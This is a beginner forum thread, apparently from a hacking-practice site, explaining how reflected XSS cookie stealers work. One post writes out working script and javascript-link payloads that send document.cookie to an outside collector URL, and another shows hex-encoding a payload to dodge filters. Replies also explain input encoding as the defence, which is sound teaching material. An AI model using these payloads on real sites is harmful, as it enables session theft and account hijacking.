[beginner] Non-Persistent XSS

[mutantsrus]

To understand how a cookie stealer works, first understand how a cookie works. A person can view their cookie, and theirs alone, by typing javascript:alert(document.cookie) in the address bar. Now if you can only view your cookie, then how could you go about stealing someone else's? You'd need that same JS to run on their computer right? Then you'd need it to be recorded and sent back to you. This is what a cookie stealer does, so in the end, it returns the cookie of anyone who falls prey to the trick.

[Reason7194]

The only part I don't understand is how a person 'links' a link to a said forum, but includes the javascript needed to grab the cookie. The person can't type into the chat box all of the js syntax, only the link.

-- Tue May 10, 2011 2:33 pm --

The same goes for adding the javascript to post like this one. I can't just put the Javascript here else the user would see it. Watch, I shall try -> <script language="Javascript">
document.location="http://justthink.frihost.org/cook.php?cookie=" + document.cookie;
</script>

<a href="javascript:document.location='http://justthink.frihost.org/cook.php?cookie='+document.cookie;">Click here to see if it actually worked!</a>

-- Tue May 10, 2011 2:34 pm --

See? The javascript appeared =/

[Goatboy]

The reason people can type in JS is that the forum does not filter or encode the input properly. A good security practice is to either strip out characters that can be used in an attacks ( < > ' " etc ) or, better yet, HTML-encode them to make them safe for showing. HTS does the latter.

[Dwere134]

I am not sure if my question has been answered yet. Does the cookie stealer that Goatboy posted in the other thread steal EVERYONE'S cookies? Or just his target? Like if anyone clicked on it does goat have access to their cookies? Or is it just if the guy he was targeting clicks on it?

[Reason7194]

Then Goatboy, how did you write the javascript in your post then.

[jgreen45]

Then Goatboy, how did you write the javascript in your post then.

He didn't, the javascript was never executed on HTS. He just posted a simple link here with a search term that contained an encoded javascript redirect to a .js script on his website. The problem was at the victim's website, the coder decided to echo whatever was written into the search box onto his result's page directly in the HTML, but he forgot to strip the bad characters, so the malicious search term was placed directly into the page.

When the browser parsed the page it saw the malicious search term and read it as javascript which was then executed and voila! Cookies gallor.

On a side note even if Goatboy did manage to execute JS code on HTS he would only be able to access the HTS cookies anyway, it's a safety mechanism built into the browser.

[mutantsrus]

The only part I don't understand is how a person 'links' a link to a said forum, but includes the javascript needed to grab the cookie. The person can't type into the chat box all of the js syntax, only the link.

1. You can obfuscate the code with something like this:
http://www.pc-help.org/obscure.htm (might not work in most browsers anymore.)

2. You could also use hex in the url:
"><marquee>
can be written as
%22%3e%3c%6d%61%72%71%75%65%65%3e%74%65%73%74%a

3. HTML doesn't work on these forums, but works in many other places. (Thus making XSS/CSRF a possibility)